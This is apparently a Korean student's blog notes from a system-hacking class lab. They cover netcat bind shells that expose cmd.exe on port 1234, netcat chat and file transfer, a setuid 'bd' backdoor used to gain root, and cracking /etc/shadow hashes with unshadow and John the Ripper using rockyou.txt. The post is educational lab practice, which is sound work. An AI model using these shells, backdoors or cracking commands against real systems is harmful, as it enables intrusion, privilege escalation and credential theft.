본문 바로가기
시스템 해킹

시스템 해킹 10

by 윤라경 2024. 6. 23.

[2024.06.21]

 

[Netcat]

 

<Kali Linux>

#nc 192.168.10.201 1234

 

<CentOS 7>

#nc 192.168.10.201 1234

 

<Windows 7>

c:\netcat>nc 192.168.10.202 1234

 

<Windows 7>

c:\netcat>nc -L -e c:\windows\system32\cmd.exe -p 1234

 

<Windows 10>

c:\netcat>nc -L -e c:\windows\system32\cmd.exe -p 1234

 

<옵션>

-L: 영구 리스너 생성

-v: 상세 모드

-n: DNS 주소 변환 기능 끄기

 

 

지난 시간에 배웠던 netcat을 이번 시간에 이어 윈도우에 적용시켜 보려고 한다

Windows 7인 201번 서버에서 netcat을 실행시켜 주고

 

 

an 명령어로 포트 번호 1234번이 제대로 대기 상태인지 확인한다

 

 

그 후 50번 서버인 CentOS 7으로 넘어가서 #nc 192.168.10.201 1234의

명령어를 입력해 주게 되면 정상적으로 윈도우 체계를 이용할 수 있다

 

 

현재 상태에서 tuna로 확인해 주게 되면 1234번 포트가 정상적으로 작동되고 있는 걸 확인할 수 있다

 

 

이번에는 Windows 7과 Kali Linux 간의 접속을 시도해 보려고 하는데,

먼저 Windows 7의 201번 서버에서 1234번 포트를 열고 대기한다

 

 

*포트를 열어 대기 상태에 있을 때 꼭 해당 설정 포트가 열렸는지 확인해 주면 좋다

 

 

Kali Linux로 넘어가서 netcat 명령어를 실행하고 포트 번호를 입력해 주게 되면,

정상적으로 윈도우 폼을 이용할 수 있는 걸 확인할 수 있다

 

 

또 50번 서버에서 1234번 포트를 열어 준 다음

 

 

Windows 7으로 넘어가서 접속하게 되면 CentOS 7으로 사용할 수 있게 되고

 

 

Windows 7에서 cat file.txt의 명령어를 사용하게 되면

 

 

CentOS 7에서는 그 파일을 볼 수 없다고 뜬다

 

 

그럴 경우 file.txt의 경로를 찾아서 들어간 후

 

 

해당 파일에 내용을 입력해 주고 저장

 

 

그런 다음 현재 접속 중인 Windows 7으로 가서 다시 cat file.txt를 하게 되면,

화면에 보이는 것과 같이 똑같은 내용의 파일을 확인할 수 있다

 

 

Kali linux의 경우도 사용 가능한 걸 확인할 수 있는데,

먼저 위에서 했던 것과 같이 1234번 포트 번호를 열어 주고 대기한다

 

 

윈도우로 넘어가서 Kali linux의 ip 주소인 250을 넣고 포트 번호 1234로 열어 주게 되면

Kali linux도 정상적으로 구동할 수 있게 된다

 

 

윈도우끼리도 호환이 가능한지 실습을 진행해 보려고 한다

마찬가지로 명령어를 집어넣은 후

 

 

1234번 포트 번호 대기 상태 확인

 

 

Windows 7에서 대기 상태를 만들었기 때문에 Windows 10으로 넘어와서 확인

명령어만 제대로 입력했다면 문제없이 사용할 수 있는 걸 확인할 수 있다

 

 

[채팅하기]

 

#nc -l -p 5555

#nc 192.168.10.100 5555

 

 

이번에는 CentOS 7 100번 서버에서 포트 번호 5555로 설정 후 대기

 

 

 

다시 CentOS 7 50번 서버로 넘어가서 접속하고 내용을 입력하게 되면

 

 

100번 서버에서도 똑같이 50번 서버에서 입력한 내용이 나타나게 된다

일방적으로 입력하고 보이는 게 아니라 서로 주고받기가 가능하다

100번 서버에서 적으면 50번 서버에서 보이고, 50번 서버에서 적으면 100번 서버에서 보이는 방식

 

 

netstat로 확인해도 잘 작동되고 있는 걸 확인 가능하다

 

 

한 번 더 테스트를 해 보려고 하는데 이번에는 윈도우 쪽으로 진행

다시 100번 서버에서 5555번의 포트를 열고 대기

 

 

Windows 7에서도 접속 후 내용을 입력하고

 

 

100번 서버의 CentOS 7으로 넘어가서 확인하게 되면 문자 그대로 나타난다

하지만 지원되지 않는 문자는 깨지기 때문에 화면에 보이는 것처럼 표시된다

 

*CentOS 7은 한글 지원 안 됨

 

 

[파일 전송]

 

<Linux>

#nc -l 4444 > file3.txt  <-- 파일 수신

#nc 192.168.10.50 4444 < file3.txt  <-- 파일 송신

 

<Windows>

c:\netcat>nc -L -p 4444 > file7.txt  <-- 파일 수신

c:netcat>nc 192.168.10.201 4444 < file7.txt  <-- 파일 송신

 

*<의 표시는 표준 입력

 

 

서버 간의 파일 진행 실습을 하려고 한다

먼저 50번 서버의 CentOS 7에서 화면의 명령어를 입력해 준다

한마디로 4444로 들어오는 데이터를 file2.txt에 저장하게 되는 원리다

 

*> 표시는 표준 출력

 

 

100번 서버로 넘어가서 file1.txt라는 파일 하나를 만든다

 

 

파일 안에 내용을 입력해 주고 저장

 

 

저장하고 난 다음 파일 전송 명령어를 입력해 주면 되는데,

이 명령어는 file1.txt를 50번 서버의 4444 포트에 file2.txt라는 곳에 저장되게 한다는 뜻이다

 

 

전송하는 명령어를 입력했으면 다시 50번 서버로 넘어가서 확인해 본다

앞서 기입했던 내용과 같은 내용이 들어가 있는 걸 볼 수 있다

 

 

이번에는 윈도우에 적용해 보기 위해 다시 실행 후 tuna로 포트가 열려 있는 것까지 확인한다

 

 

Windows 7에서는 netstat의 license 파일을 전송하려고 한다

 

 

전송 명령어를 입력해 주고 대기 상태

 

 

50번 서버로 이동 후 파일이 잘 전송되었는지 확인한다

확인 시 file3.txt로 저장되어 있는 것을 볼 수 있다

 

 

file3.txt를 열게 되면 전송했던 license 내용과 같다

 

 

윈도우끼리도 확인해 보기 위해 먼저 202번 서버인 Windows 10에서 진행

 

 

201번 서버인 Windows 7으로 넘어가서 파일 목록을 확인하게 되면,

file4.txt가 생성된 걸 확인할 수 있고, 또 해당 내용이 라이센스 내용인 걸 볼 수도 있다

 

 

[root 권한 획득]

 

 

#gcc -o bd bd.c

 

#cp bd /home/test

#chmod 4777 bd

 

[root@localhost ~]#su test

[test@localhost ~]$./bd

[root@localhost ~]#

 

 

50번 서버에서 파일 생성

 

 

파일 내용은 다음과 같다

 

 

gcc 명령어로 컴파일 실행 후 확인

 

 

복사 명령어로 bd를 /home/test 디렉터리로 복사한다

 

 

setuid를 설정하게 되면 다른 사용자도 이 파일을 루트 권한으로 실행시킬 수 있다

또한 백도어랑 그 외의 것들을 실행시킬 수 있기 때문에

시스템 관리자의 경우 항상 setuid와 setgid를 검사해야 된다

 

 

su test로 test로 변경 후 bd가 있는지 확인

확인 후에 ./bd를 넣게 되면 바로 root로 변경되며 이를 root 권한 획득이라고 한다

 

 

[Kali Linux 패스워드 크랙]

 

1) #unshadow /etc/passwd /etc/shadow > pass.txt

2) john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

 

#cd /root/.john

 

*리눅스는 앞에 점(.)이 붙게 되면 숨김 파일이며, 이 경우 ls -al로 앞에 a를 붙여 확인해야 된다

 

 

etc 디렉터리에 있는 passwd와 shadow를 비교해서 pass.txt로 추출해내는 명령어다

 

 

확인할 시 pass.txt가 생성되어 있다

 

 

파일이 생성된 것을 확인 후에 wordlists로 이동한다

 

 

ll로 rockoyu.txt 파일을 확인

 

 

그 후 공격하게 되면 root와 test 123456으로 크랙이 되는 걸 확인할 수 있다

 

 

한 번 공격 후 다시 공격하게 되면 hashes가 없다고 뜬다

 

 

그렇게 될 시 ls -l로 확인하게 되면 해당 명령어는 숨김 디렉터리로 되어 있기 때문에,

ls -al로 하게 되면 .john을 확인할 수 있다

 

 

.john 디렉터리로 이동하여 log 파일 두 개가 생긴 것을 확인한다

확인 후에는 해당 파일 두 개를 삭제하고

 

 

다시 공격하게 되면 크랙되는 걸 확인할 수 있다

 

 

강의 소감

이번 시간에는 지난 시간 강의 내용에 이어 Netcat을 배웠는데

서버 간의 호환이 가능한 것도 알게 되었고, 서로 주고받을 수 있는 명령어를 더 많이 배웠다

Kali linux의 패스워드 크랙에 대해서도 실습을 진행했는데 하던 것에 비해 생소해서 어려웠지만 재미있었다

이번 강의 역시 쉽지많은 않았지만 갈수록 알기 어려운 명령어가 늘어나면서

연습이 더 필요하게 됐지만 그만큼 배울 점도 늘고 있다고 생각한다

'시스템 해킹' 카테고리의 다른 글

시스템 해킹 12  (0) 2024.06.26
시스템 해킹 11  (0) 2024.06.25
시스템 해킹 9  (0) 2024.06.21
시스템 해킹 8  (0) 2024.06.20
시스템 해킹 7  (1) 2024.06.19